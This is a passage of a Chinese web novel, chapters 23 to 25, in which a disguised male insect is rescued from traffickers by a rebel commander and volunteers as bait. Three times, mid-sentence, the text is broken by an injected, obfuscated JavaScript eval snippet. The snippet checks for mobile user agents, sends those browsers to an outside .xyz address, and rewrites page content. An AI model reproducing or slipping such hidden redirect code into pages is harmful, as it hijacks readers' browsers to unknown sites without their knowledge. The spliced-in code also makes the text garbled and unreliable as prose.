快点快点快点快点快点!!! 脑海里不断跳出这几天的片段,伽迩如坠入冰窟,浑身散发着刺骨的冷。 “该死,那个雄虫去哪了?” “我好像看见了。” “在这里!快抓住他!!” 一个东西抓住了他椅子的一角,伽迩狠狠地甩过去,在雌虫吃痛的叫声中狂奔。 伽迩头一次觉得路那么长,后悔自己为什么没趁着几个月的时间多多锻炼,只不过跑了一段路就气竭。 这次不能被他们抓到!! 「小鬼!还有两三百米就是舱门!旁边是降落器!!」 大嘴大喊,伽迩的眼睛已经模糊不清,像隔了一层水膜。 他正要冲过去,忽然,一阵剧烈的爆炸声,飞船猛得朝一侧倾倒,紧接着开始震晃。 “怎么回事?!”伽迩用手臂抵着墙,因加上椅子的重力,酸软的腿控制不住地弯折下来,舌头藏着的胶囊也因晃动而不小心吞了下去。 大嘴:「好像有飞行器在朝这艘飞船开炮,没事!!现在在星球内部,而且低空,你可以用降落器降落,快!!」 砰—— 舱门直愣愣地倒下,撞在地面上掀起滚滚浓烟。 伽迩扬起头,率先看见的是一只裹着气流进来的军用长靴。 月光倾泻而入,雪白的手套抓着舱门的扶手,身体也跟着跳进来。 高束马尾的银发雌虫戴着墨绿色的狰狞面具,冷不丁和站在船舱口的雄虫,对视上了。 23.副统领 船舱还在剧烈摇晃。 诺菲西斯稳住身形,看到了舱门口——反手抱着椅背的虫。 这个虫衣衫半褪,黑发凌乱,眼角有未干的泪痕,浑身湿泠泠的,像只被丢进池塘里的绒毛奶狗,可怜巴巴,还打着冷颤。 不过是一张普通的脸,看着却让虫生出些许怜意。 诺菲西斯僵了几秒,不对,他怎么会有这种想法? “A7,往前走就是被贩卖的虫了。” 又是个雌虫跳进来,他左右环顾,身上穿着和诺菲西斯同款的作战服,绿色的头发十分醒目。 “哇,真破。” 这时,他发出一声疑惑的“嗯?”。突然注意到了身前的奇怪雄虫,该怪虫衣冠不整,我见犹怜,一副被欺负狠了的样子,眸底的后怕还未褪尽,K2心生怜悯,叹息着安慰道:“奥,可怜的小家伙,一定受到不少伤害吧?没事了,哥哥这就救你出去。” “别让他跑掉了!!” “抓住他!” 几声吼叫让还处于恍惚的雄虫下意识往舱门的位置后退几步,椅脚恰好碰到银发雌虫的军靴。雌虫眼疾手快,一把摁住了他的椅子,机械的电子音冷冷响起:“别再退了,掉下去我不会救你。” “糟糕——引擎起火了?!” “烟,都是烟,要坠机了!!” 几个逐步靠近的雌虫发现了燃火的船尾,惊慌失措地大叫。 但即便是这种危机情况,还是有虫发现了伽迩的存在,他飞快地跑来,气喘吁吁地喊:“找到了,就在这!” 当看见空掉的舱门旁站立着两雌虫,他又惊恐道:“你们是谁?” 诺菲西斯还在盯着伽迩的发顶,闻言才掀起一半的眼皮,抬手抽枪,射爆了来虫的脑袋。 碰—— 尸体直直倒下,鲜血四溅,更近的伽迩不免遭殃,脸上沾染温热的红,他半愣在原地,话都说不出口。 这时,银发雌虫俯身下来,几下割去了伽迩椅子上的粗绳: “K2,把他丢去悬浮器。” K2比了个“好”,抱起雄虫的腰,从舱门口轻盈一跃,稳稳落在了隔壁船舱。 伽迩最后一眼,看到的是银发雌虫松了松手腕,抬步深入舱内的背影。 “你先在这里呆着啊。” K2叮嘱了一句,很快又跳回了对面的机舱。 两个交通工具是由数根银白的蛛丝连接,所以始终保持着不远不近的距离。但隔壁的飞船的悬空并不稳定,能源系统损坏,有随时坠机的可能。 大嘴说目前低空,再加上伽迩所在的悬浮器是高科技下的最新产物,质量有保障,短时间还能带动另一个飞船前行,不会受太大牵连。 伽迩抬起手臂,手腕的地方皆是红痕,衣服也是乱七八糟的。他将衬衫扣子一粒粒系好,裤子也提了提,重新系上纽扣和细带。 真狼狈。 伽迩用胳膊狠狠擦了一下眼睛,走到舱墙旁,靠着窗户,滑坐在地上。 他环抱着小腿,将头埋进膝盖里安静地等待,没多久就听见嘈杂的声音,很快,一个接一个的虫被带了进来。 “都安静点,等会儿送你们回家。”K2说。 话音刚落,银发雌虫提着两只虫的衣领跳进来。他关上船舱,松开领子,左右两个虫“砰”“砰”落在地上,立刻龇牙咧嘴地开始呻.吟。 “你,你知道我是谁吗?” 其中一只虫边疼边不忘仰起脖子叫,身体扭得像条蛆。 好耳熟的话。 伽迩从膝盖里抬出半张脸,悄悄看过去,发现眼前的两个虫也是衣衫不整,裤子都没穿就被送过来了。 这发言,太像刚被绑过来时的他了() 伽迩莫名脸热,头又埋回膝盖。 “莱德·克利普顿阁下。” 银发雌虫居高临下,余光淡漠地坠落,他随意地脱去手套,丢进至一边,军靴踩着雄虫的肩膀,缓缓下压:“闭嘴,好吗?” “你——” 雄虫还没讲话,一旁的K2就往他们的下半身上丢了两块布。 “少说两句,小心把你毙了回不了家!” K2严肃地威胁道,语气相比那些绑架他们的雌虫温和太多了。 但两个雌虫的气势都很强,加上诺菲西斯丢进桶里的手套还染着血,莱德咬了一下嘴唇,没有再说什么,安静地用布裹住了下半身。 伽迩以为没他的事,无声地充当木偶,谁曾想银发雌虫竟看了过来,撤开了踩在雄虫身上的脚,几步来到他身边,俯身撩起他后颈的头发。 “亚雌?” 温热的手指轻触着后颈的皮肤,轻轻地摩挲脖颈上长出的浅淡虫纹。 幽幽的香味滑过他的鼻尖,又顷刻消散,伽迩愣了一下,瞬间抬起眼。 雌虫的脸上,那张面具覆盖了整张面孔,严丝合缝地扣住了他下颚,墨绿色的花纹分部在崎岖不平的凹凸上,沿着张裂的虫型口器,攀上额角的两根长条触须。 繁复的面具重现虫型特征,近距离看多出几分怪诞可怖。雄虫隐隐能看见口器中薄削的嘴唇,狭长孔洞里带着粉色渐变的眼睛,透出猩红。 雄虫的腿缓慢地动了动,血液从脚后跟冻结,艰难而黏稠地攀附着血管,向上流动。 他想到了模型馆里的巨大螳螂,僵硬地对上那双眼眸,忽然,听到那张恐怖面具的主虫从鼻腔里发出一声轻哼,像一根柔软的羽毛,轻飘飘地刮过他的耳廓。 无形的压力骤然间被这一声轻哼打破了,伽迩的眼睫迟缓地眨了两下,感觉异常的熟悉。 诺…… 他的脑海里晃过了一张脸,但被他迅速地驱散了。 不可能。 伽迩心道。 白发的那么多,而且眼前的这个眼睛是带粉的,发尾也是粉的。 性格也是……凶凶的,很冷漠。 他的衬衫袖子还残留着刚刚擦掉的血印,是被杀掉的那个雌虫溅出来的血。后者是死有余辜,但没想到会那么快就被杀了。 想到这,伽迩捏了一下衬衫边沿。 他滞留在这四五天了,诺菲西斯找不到他肯定很急,而且虫翅还留在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965572|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个叫肖的雄虫那里,不拿回来的话,那…… “不回答?” 诺菲西斯的语气很淡,但不知道为什么,回过神的伽迩从雌虫的机械音里听出了不耐。 伽迩思索几秒,选择点了点头。 原主买的胶囊全是变换成亚雌的,所以会附赠亚雌特有的浅淡虫纹,虽然不知道他们是什么虫,但这身衣服不像是军装,遮掩外貌和声音也是很可疑。银发雌虫对雄虫的态度毫无尊重,还是谨慎点,不告诉他们真实身份好。 雌虫站了起来,问:“他们为什么脱你衣服?” 飞船上的都是雌虫,雌虫为什么要脱雌虫衣服呢? 银发雌虫大概是这个意思。 伽迩想了想,在原有的基础上胡编乱造了一番:“他们想把我卖给一个油腻老雄虫,刚刚在视讯检查,然后……” 伽迩没有说完,但在场的两个雌虫都听懂了。 “该死,该死的虫贩子。” K2磨着牙齿,雌虫之间还搞买卖、折.辱,为了钱和地位真的不择手段。 诺菲西斯没有发表评论,他若有所思地盯着伽迩,清泠的目光从眼睛,轻轻地滑至高挺的鼻梁,再是嘴唇。 雌虫停顿两秒,漫不经心地收回,径直从伽迩的身边走过: “K2,准备降落。” “这么快就到了?” K2向窗口张望,旋即放开了勾连舱门的蜘蛛丝。 下面是一片大空地,而空地的旁侧是他们的同事。坠落的飞船他们会处理,不会爆炸导致重大灾难。 K2一收蛛丝,失去牵引的飞船以更高速地方式陨坠,当它冲落下来时,巨大的冲击波掀起地面上的尘土,发出通天火光。 爆炸膨胀的声音发出尖啸,但不一会儿就截止于半空,形成伞状的星火,噼里啪啦地散落而下。 而他们所在的悬浮器却四平八稳地停落,一旁的燃烧与他们无关,舱门打开时,戴面具的数个雌虫钻入船舱,将他们带出。 “副统领,怎么安排?” 一个戴黄蜂面具的雌虫走出队伍,快步来到诺菲西斯的身旁站定,他看了眼悬浮器旁惶恐不安的雌雄虫,随后低声问:“休息的地方不多了,那些雄虫只要一挤就开始吵闹……” 伽迩站在一群虫的中间,视线正对着银发雌虫的脸。后者侧脸垂眸,滑动腕骨上的手环 ,而身旁的面具雌虫低头靠近,瞟了他们一眼,然后低声在银发雌虫的耳旁说些什么。 “多少房间?” “屋内一间,临时搭建一间,屋内有三个床位,临时搭建的有十一套被褥。” “把所有雄虫带去屋内拼床,所有雌虫带去临时搭建的房间,明天就让他们自己出去想办法……” 话音刚落,诺菲西斯倏然一顿,问:“多少个雄虫,多少个雌虫?” “回副统领,五个雄虫,十二个雌虫。” 诺菲西斯久久无言,他沉吟片刻,目光锁住了虫群中正在吃瓜的某雄虫,道: “那个穿白衬衫黑短裤的亚雌和我一间屋,其他的照常安排。” 24.别停 「还没找到伽迩·雷索?」 诺菲西斯:「是。」 「安在他终端机上的定位呢?」 「在岩石星南区的小巷口,彻底损坏,无法复原路径。」 「那就难办了。」那边低吟道:「石岩星混乱,走私的虫很多,拐去哪个低级星球都不意外,四天时间都没消息,后面就更难找了。」 「虫贩和违禁走私最终目标都是在塞亚伦星系进行地下交易。」诺菲西斯慢条斯理地说:「目前我已到达塞亚伦星系,可以从这里入手,说不定有他。」 「可。」 那边点了点手指,又问:「对了,你和大卫碰头了吗?」 诺菲西斯从盒里敲出一根烟,低头咬进嘴里:「没有。」 「我三天前就让他去找你,这么晚还没到。」 男声长叹一声,沉思片刻,给出思路:「算了,上议院的罪证收集得差不多了。这几天我会安排虫伪造你们双双遇险的假象,S也会帮你传播消息,目前就待在军队执行任务吧。」 若是直接带着伽迩不见的消息回去,想要摆脱监管不利的罪名很难,两者都心知肚明,最好的办法只有假死脱身,等待机会。 「我知道了。」 诺菲西斯说完便开始沉默,那边停顿几秒,似乎在迟疑,许久之后才缓缓道:「A7。」 「您说。」 「既然回家了,干脆给自己放个假吧。」 诺菲西斯点火的动作停了一瞬,片刻后才抬起眼,淡淡地嗯了一声。 通讯结束。 雌虫抵着墙,修长的指骨夹着烟,一抹腥火明灭。 他环着胸,手肘搭在臂上吐出烟圈,拐角巷里,缭绕的烟雾遮住了螳螂面具,透出一种半真半假的虚妄感。 在浓白中看了一会儿月亮,他垂下眼眸,埋头深吸了两口,听到动静才抬起眼皮: “你来这里做什么?” 听到声音,一个身影从巷子口冒出了头,白衬衫黑短裤俨然是伽迩。 螳螂面具的雌虫没有调整变声,虽然声带粗粝,但依稀能听出几分熟悉。伽迩怔了一下,没多想,立刻道歉:“抱歉,我走错路了。” 走错路? 诺菲西斯听后,轻笑一声,太不会编了。 但也没说什么,在墙上摁掉了烟头,径直走过伽迩身旁。 雌虫走后,伽迩看着满空间的烟雾,歇了四处闲逛的心思。 他回到大本营,思考自己该如何回石岩星找诺菲西斯。 终端机通讯器都被收缴走,跟着飞船一起损毁了,要回去只能求助当地居民。 实在不行,卖个乖,讨个好,试试从那群武装雌虫下手。 . 吃完叛军分发的营养液,伽迩被带去独立房间。 那时伽迩还想,这群虫怪好的,至少比那几个绑架犯雌虫要好。 直到他脱掉衣服,赤身裸.体地用借来的湿布擦身体,某个雌虫猝不及防地走进来,停在门口,与他的眼神对上了。 诺菲西斯关上房门,抱胸靠在门框旁,觉得有必要提醒这个雄虫一下:“这里都是雌虫。” 即便他的下属不知道,眼前的这个亚雌是雄虫。但,没有虫须的亚雌,迟早会暴露出来。 “啊,嗯。”伽迩背过身,他不明白雌虫强调这一点是什么意思,于是含糊不清地应道,快速套上了上衣。 雄虫的腹部泛着青,让诺菲西斯想到了某个狗东西,心情更加不好了。 他也不知道为什么,脑子一热,让一个伪装亚雌的可疑雄虫住进他的房间。 诺菲西斯对雄虫这种东西没有好感,现在更是记恨上了伽迩·雷索。愚蠢的雄虫半夜出去不知道哪里鬼混,毁掉全盘计划不提,还把他当狗一样耍着玩。 雌虫冷脸坐上床边的沙发,伽迩一僵,有种不好的预感。 “那个……”伽迩小心翼翼,试探性地问道:“你也睡这里?” “不然?” 诺菲西斯笑了笑,轻托着下巴,上下打量:“继续擦,别停。” 伽迩:“……” 不擦了。 伽迩默默出去挤干了布,把它还给了热心肠的雌虫大哥,回来后看见了沙发上闭目养神的雌虫。 伽迩叹了口气,在门口踌躇不定,正转身就要走—— “进来。”诺菲西斯闭着眼说。 伽迩机械式地转身,抬步,进房。 “上床去。” 伽迩裤子都不敢脱,直接脱鞋上床盖被子。 雌虫干净利落杀虫的场面他还记忆犹新,伽迩暂时不敢挑战他的威信。 他把自己裹成一团,只露出鼻子能呼吸,旁边的雌虫已经呼吸平稳,好像陷入了睡眠。但伽迩知道雌虫没有睡,担忧之下,竟迷迷糊糊地沉沉睡去。 两天后。 银发雌虫原本是要把他们赶出去自生自灭,在绿毛的劝说下,勉为其难地留下了他们。 伽迩也是后来得知,这就是传说中那支引起各地混乱,残杀无辜的叛军【滅】。 绿毛特别关心他,可能是那段视讯检查引起了他的同理心,时常“小黄毛,小黄毛”得问候。 伽迩忍了很久,没用同样的词问候回去。 在叛军的氛围比他想象中要轻松,但管理很严密,所有想偷跑的虫,不出几步就会被重新逮回来。 伽迩数了一下胶囊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971661|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胶囊的药效可以持续五天,伽迩手里有五颗,还能维持二十五天,只要在药效结束前吃会维持这个样貌。 时间过去了三天,寻找本土居民帮助的想法是达不成了,伽迩思来想去,向K2提出能不能借终端看一下新闻的请求。 K2很爽快地答应了。 在他的监视下,伽迩翻找消息,当看到一条新闻时,手指骤然一紧—— 【伽迩阁下与其雌侍诺菲西斯双双遇险,下落不明】 “小黄毛?” K2见眼前的小亚雌倏然变了脸色,眼底满是不可置信,心里有些担心,所以轻轻地唤道。 伽迩摇头,说“我没事”,但眼睛却紧盯着屏幕,迅速扫过前面的字。 当看见文章中第四行提到——“为了寻找雄主伽迩·雷索,诺菲西斯少校以身犯险前往塞亚伦星系,至今下落不明”,雄虫的胸口顿时一哽,紧抿着唇,脸色有些苍白。 原来是因为找他才会出意外的。 是因为他…… 伽迩突然开始后悔。 诺菲西斯一直都对他很好,带他玩,送他礼物。 他是一个很温柔的雌虫,总是关心他的需求,包容那些无理取闹,甚至很莫名的脾气。 而他呢? 又骂,又打。 摔了翅膀不成,还逼他下跪。 明明能早上去修复翅膀,可他却偏要晚上…… 为什么这么急?如果他再等一等,如果他早上去,如果他能换个更好的时间,诺菲西斯就不会为了找他而失踪。 伽迩把终端机还给了K2,表面乖乖道谢,实际心里沉沉地坠下。 他的眼神渐渐暗淡下来,看起来格外悲伤,大嘴犹豫了一下,安慰道:「小鬼,你别太难过了。」 「大嘴……」伽迩低落道:「你知道诺菲西斯现在是死是活吗?」 大嘴咽了口唾沫:「我啊?我不知道,我只是个发布任务的。 伽迩:「嗯……」 大嘴看着心软,难得耐心说:「没关系呀,老婆没了还能再找不是?等咱们回星际了,哥给你找个更漂亮的哈。」 伽迩原本真的很伤心,可现在有些伤心不起来了,他瞥了大嘴一眼,从低沉的情绪中短暂地脱离了一下,反倒冷静下来。 报道里只说诺菲西斯在塞亚伦失踪,又没说他死了。 尸体没有出现,一切皆有可能。 对,还能再找。 伽迩想到绿毛雌虫说,过几天就带他们离开塞亚伦,也就是说这里就是塞亚伦。 于是,K2看着刚刚走远的小亚雌,又满脸通红地跑回来,气喘吁吁地问:“绿哥,我不走,能留下来吗?” 25.第二十五章 K2拒绝了伽迩。 塞亚伦是出名的混乱地带、恶臭流放之地。这里犯罪横行,无虫监管。犯了罪的虫若是流放,必然是送到塞亚伦。等后悔了,想离开,百万德朗都抢不到一张通往其他星球的船票。 反叛军有现成的飞船送虫离开,K2想不通伽迩留下的原因。直到小亚雌讲述了自己悲惨的身世,K2被深深触动,当场流下眼泪。 “所以你是为了寻找你沦落风尘的雄父,结果被虫贩拐骗,上了贼船?”K2的语气中带着浓浓的同情。 “嗯……嗯。”伽迩心虚点头,心里暗怼大嘴找的是什么鬼故事。 然而,K2却听得全神贯注,完全沉浸在了故事之中。他一边擦着眼泪,一边感慨道:“真是太感虫了!你真是个乖虫崽!好吧,如果你确定你的雄父就在塞亚伦星系,而且你不怕危险,我帮你去问问A7。” 伽迩感激地鞠躬:“谢谢!” A7,那个银发雌虫,伽迩早已从绿毛的口中听说过无数次。但那个雌虫总是独来独往,眼神中透露着冷漠与疏离。伽迩心里没底,不知道他会不会相信这个连自己都觉得荒谬的故事。 果然,回来的K2失望摇头,带来了一个不好的消息:“对不起小黄毛,A7不同意。” 得到这个消息也是常情,伽迩表示可以理解,只是眼神落寞,令虫不忍。 “我会帮你留意的。”K2安慰道。 但伽迩并没有放弃,他竭力表现个虫价值,比如帮雌虫分发营养剂,比如收拾用剩下的垃圾让其他雌虫无物可收,比如帮忙一起搬运能量石资源。 他的想法很直接,做点力所能及的小事,说不准就能触动到一点雌虫,带他一起去塞亚伦内部。 看,我能帮上点忙,带上我吧!这样。 如果真的要跟着飞船回坎德拉非,为了不暴露自身,短时间是不会让他们与外界联系的。 等后面再联系家族接他,回到塞亚伦寻找诺菲西斯,时间太久,雌虫的危险性不说,且,主星贵族家的侍卫队或许没有叛军这种疑似地头蛇的势力更了解、更方便活动。 伽迩无声观察。 最近这支叛军在分队伍,那个叫A7的副统领也很少出现,偶尔才会露一面,夜晚也基本是伽迩独享房间。 应该在为什么做准备。 伽迩察觉到叛军似乎在筹备着什么大计划,但他无从得知具体的内容,干脆向K2提出了自己的疑问。 K2犹豫了一下,还是直率地告诉了他:“是关于虫口买卖的。” 他止步于此,多的不说,但不妨碍伽迩联想。 伽迩沉思片刻后,道:“我可以做你们的诱饵,打入内部。” 诱饵? K2一惊,但细细一想,又有几分可行之处。 不过——太危险了! “你确定要去?”K2凝视着伽迩的眼睛,试图从他的眼神中找到一丝退缩,但并没有。 K2心里五味杂陈,他叹了口气,究竟被伽迩的诚心打动,决定帮一帮这个小亚雌。他再次找到A7,意外得到许可后,带着雄虫一并来到他的面前。 此时,诺菲西斯正优雅地端坐于沙发上,双腿交叠,手也是交握在一起,有一下没一下地轻点指尖:“听说你要做诱饵?” “是的。” 伽迩顶着冷凝的视线,难掩紧张,但关乎诺菲西斯的线索,咬咬牙,暴出一个重量炸弹:“我是雄虫。” 话落,K2瞳孔放大,惊讶之色溢于言表,诺菲西斯则是略感意外,竟然就这样把自己的身份说出来了。 伽迩心中有自己的盘算,据他的观察可知:叛军对雄虫的态度既无淫邪贪欲,也无轻蔑冷嘲。 大嘴说,在塞尔伦星系,雄虫是极其珍惜的资源。凭这一点——雄虫身份就能成为他提议中的关键筹码。 伽迩定了定神,说动雌虫的可能性大于五成,这就值得一试,他继续道:“在塞亚伦,雄虫的身份无疑比亚雌更具吸引力?。” “你们若只是调查,得到的信息必然有限;潜入,又存在暴露和惊动对方的风险。但我作为雄虫,从大局来说,其一,能更轻松地接近目标,获取更多有价值的信息;其二,他们因为我的身份,很可能会放松警惕,为我们创造更多机会。” 伽迩闭着眼胡编乱造:“从个虫角度来说,我有一定的经验,反侦查意识较强,抗压能力不错,思维灵活,反应迅速。相比雌虫身份在某些方面并不适合深入敌后,我可能更适合充当‘诱饵’。” “利大于弊,各取所需,总之,我有用。” 所谓的个虫经验当然是来自于谍.战片,伽迩默念“看过即学过看过即学过”,毫无底气地强撑起来,显得面部表情格外严肃。 他的话语在空气中轻轻回荡,面前的雌虫却沉默不语,面具下的两个孔洞仿佛深渊,直勾勾地盯着伽迩,显得深邃而难以捉摸。 伽迩咽了口唾沫,狠狠捏了一下手心,硬装自信。 说话,你倒是说点什么啊。 冷汗静悄悄地顺着雄虫的鼻梁坠落,在无声沉寂中,诺菲西斯突然换了个坐姿,低笑了一声,问:“就这些?” 伽迩:“就……就这些。” 雌虫目不转睛地盯着他,托着下巴微微偏侧,似乎是在叫他开动一下愚蠢的脑子,再tmd好好想想。 伽迩想不出,哀叹道:「大嘴,还有什么可以说的吗。」 大嘴茫然:「好像没了……」 一虫一嘴迷惑对望,这些难道还不够吗? K2看到雌虫不经意勾起的唇角,知道他是恶趣味上来了,正想出来帮懵逼的雄虫说几句话,诺菲西斯倏然站起身,淡淡扫了伽迩一眼:“加一条。” 伽迩:“什么?” “我需要在你的身上安装发信器和引爆器,确保你不会背叛我们。”电子音无机制地笑了起来,不带任何感情:“做得到吗?” 发信器和引爆器…… 伽迩呼吸一滞,一股寒意直冲天灵盖。如果他答应,这种疑似电视上才会出现的东西将安装到他的身上,稍有不慎就会爆炸,而他的生命被雌虫左右,不能被自己控制。 雌虫好整以暇地看他,似乎料定了他不敢。伽迩确实犹豫,只要想象出引爆器冰冷的机身,引爆后的血肉模糊,皮肤就不自觉地发起冷颤。 他小幅度地呼吸两下,缓平了气,想到关系到他们的任务,雌虫应该不会轻易杀掉他,考虑许久,一咬牙,点头道:“可以。” 「小鬼你,你命不要了?」 大嘴难以置信,赶忙劝阻道:「现在拒绝还来得及,没必要为一个无关的雌虫冒险啊。」 雌虫拿出两个扁圆的厚铁片,拉开雄虫的衬衫领口,迅速割开了他的皮肤塞了进去。皮肉和肌理分开的那一刻,血不要钱地往下滴落,渐渐洇湿了肩膀下的布料。伽迩面不改色,细看,嘴唇泛白,周遭的肌肉正高频率地发着颤:「我会小心。」 毕竟也是他的责任。 诺菲西斯擦了擦刀锋:“明天出发。” K2在雌虫拿出刀时就长叹短吁,听到明天,惊呼道:“不是五天后?” “计划改变。” 视线掠过伽迩的肩膀,诺菲西斯一顿,丢去一瓶蓝液,正好落在伽迩的怀里。后者一看,是修复液,抬起头时,脚步声已然走远。 K2:“快拿去治疗吧。” 伽迩低声道谢,拿起蓝瓶往身上倒,这时,K2的电子音低沉叮嘱:“不过,小黄毛,以后你要注意一点了。” 他很意外伽迩是个雄虫,但本身并不讨厌伽迩,所以珍词酌句后,说的都是剖心窝子的话:“A7讨厌雄虫,非常讨厌,如果不想真的被炸成飞灰,最好是听他的话。” K2本意是让伽迩谨记,言辞多少带点夸张成分,伽迩却深深地记住了。 “我明白了。” “……” . 塞亚伦分成十三城区,前三区处于“发展前列”的工业化,烟囱林立,机器轰鸣。远远看去,破旧的工厂如一座座钢铁巨兽,深深地扎根于土地。 而他们所要去的,是工厂脚下的黑色地带。 即便是在相对发达的前三区,街道也未能摆脱阴暗潮湿的宿命。踏入街口,仿佛步入了一个光与影交织的迷宫,昏黄的灯光在狭窄而错综复杂的巷道中摇曳生姿,投下斑驳陆离的光影,平添了几分神秘与不安。 伽迩环顾四周,街道两侧的住宅皆是由冰冷钢板和废旧金属构建的,外墙锈迹斑驳,透露出浓重的工业感。 而巷口不宽不窄,空气中弥漫着一股难以言语的气味,有阴湿的潮味、冰冷的泥土味、烟草燃烧的苦涩以及那若隐若现、令人心悸的血腥味道。 为了更好地融入这片区域,伽迩特意换上了当地特有的乞丐装。这套衣服宽松肥大,如同麻布袋一般包裹着他的身躯。 K2巧妙地用泥土和灰尘将伽迩原本白皙的脸庞涂抹得灰蒙蒙的,使他看起来就像一只在街头巷尾流浪的小老鼠。 他夹在三四个雌虫中间,两侧是交错分布的居民楼和酒馆,充斥着当地虫的嬉笑咒骂,乍一看十分热闹。 “离老子远点,臭乞丐!” 一声怒吼,伽迩抬起头,只见前面不远处,一个袒着横跨胸腹伤疤的强壮雌虫一脚踹开了地上的瘦弱雌虫。 砰! 蓬头垢面的雌虫倒进泥洼中飞溅出泥点,眼见壮雌还要踢他,赶忙蜷成一团,在地上讨饶。 周边的虫不管不顾,漠然地走过。 商贩的叫卖声与愤怒的咆哮声此起彼伏,交织成一幅看似喧嚣繁华,实则荒谬无序的景象。相比之下,几位叛军却显得异常冷静,仿佛对此早已司空见惯。 “塞亚伦本就是这样一个地方。”一旁的银发雌虫冰冷地勾起唇角,目光从伽迩身上移开,转而投向前方,轻声道:“到了。” 伽迩收回视线,映入眼帘的是一家简陋的小酒馆。褪色的“营业中”木牌悬挂在门楣之上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996545|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,半开的木门缝隙中透出微弱的灯光,伴随着几声哄然大笑,飘荡出来。 他跟着其他雌虫步入那家简陋的小酒馆,心中紧绷的弦并未因踏入室内而有所放松。 酒馆内光线昏暗,几张破旧的木桌随意摆放,周围坐着些形色各异的虫族。有的低头沉饮,有的高声谈笑,偶尔还夹杂着几句粗鄙的咒骂。 空气中弥漫着劣质酒精和烟草的混合气味,让人更加压抑。 他们寻了两处位于角落的座位分开落座。K2驾轻就熟地唤来侍者,点了几杯价格低廉的酒水,同时,目光在眼角的余光中悄然扫视着周遭的一切。 K2低头喝了口酒:“小黄毛,等会儿你就发呆装傻,其余的我们做。” “好。” 酒馆木门的吱嘎作响,一个身影悄然踏入。 伽迩的心脏猛地一缩,他下意识地握紧了手中的酒杯,目光不由自主地跟随着那个新进来的身影。 那人穿着一件破旧的斗篷,脸上戴着半遮面的帽子,只露出一双闪烁着狡黠光芒的眼睛,看起来就贼眉鼠眼不怀好意。他四处张望,仿佛在寻找着什么。 K2的眼神变得锐利起来,他轻轻碰了碰伽迩的手臂,低声说道:“应该就是他。按计划行事,不要害怕。” 伽迩点头。 虫贩子在酒馆内转了一圈后,似乎注意到了伽迩他们这一桌。 他缓缓走过来,拉过一张椅子坐下,目光在三虫身上扫视了一圈,最后停留在了伽迩身上。他嘴角勾起一抹意味深长的笑容,半眯着眼说:“三位,看起来面生得很啊。是第一次来塞亚伦吗?” 虫贩子的敏感度比他们预想的要强,还未给出暗号交易,已经闻着味儿来了。 K2故作豪爽地拍了拍伽迩的肩膀,隐隐露出手里拽着的一根细长链子,链子的末端就绑在雄虫的手腕上:“是啊,第一次来。听说这里挺热闹的,就带着我这小兄弟来见识见识。” “这样啊……” 虫贩子感慨地点点头。他叫来侍者,买了一杯生啤,咕噜咕噜喝下一大口,友好地问:“你们哪里虫啊?” K2说:“坎德拉非。” 虫贩子:“好地方好地方,那里雄虫多,品质也不错。” “是啊,哈哈。” 虫贩子嘿嘿一笑,眼中闪过一丝贪婪:“我看你这小兄弟就不错,白白嫩嫩,一看就是没吃过苦的那类……”说着,他的目光再次落在了伽迩身上,上下打量着他,仿佛在评估着什么。 伽迩心中一紧,脸上却是呆滞地望向前方。 K2见状,心下微松。他故意装作不满的样子,哼了一声:“老板,你这可就有点不地道了。我这小兄弟可是我的人,你可别打他主意。” 虫贩子却只是笑了笑,没有直接回答。他从口袋里掏出一枚小巧的徽章,轻轻放在桌上:“这个,你们应该认识吧?” K2看到那枚徽章,那是他们目标组织才会有的暗号,意味着交易可以开始了。他装作惊喜地说:“当然认识,老板,我们可是诚心来做生意的。” 虫贩子舔了舔嘴唇:“那自然再好不过了……” 接下来的时间里,K2和虫贩子开始低声交谈起来,伽迩听不清他们具体说了什么,只能看见削瘦雌虫异常兴奋。 诺菲西斯自顾自地喝酒,一副事不关己的样子。 在一番讨价还价之后,K2拍了拍伽迩的肩膀,示意他跟上。伽迩默默地站起身,跟着K2和虫贩子走出了酒馆。 在酒馆后门的隐蔽角落,虫贩子从怀里掏出一个沉甸甸的小布袋,里面装满了闪闪发光的金币,他小心翼翼地数着,然后将布袋递给K2。K2接过布袋,也迅速地点了点金币,确认无误后,脸上露出了笑容。 “合作愉快!”K2低声说道,同时将手中的细长链子解了下来,交给了虫贩子。 “下次有好货,记得再找我。”虫贩子抓住链子,对着K2咧嘴笑了笑:“我会给予你满意的回扣。” K2笑了:“当然。” 虫贩子拽着链条,带着伽迩穿过了酒馆的后门,来到了一条昏暗的小巷。 小巷两旁是破旧的房屋和堆积如山的杂物,空气中弥漫着一股腐朽的气息。伽迩压下忐忑不安,跟着虫贩子一路走,来到了一个隐蔽的院落前。 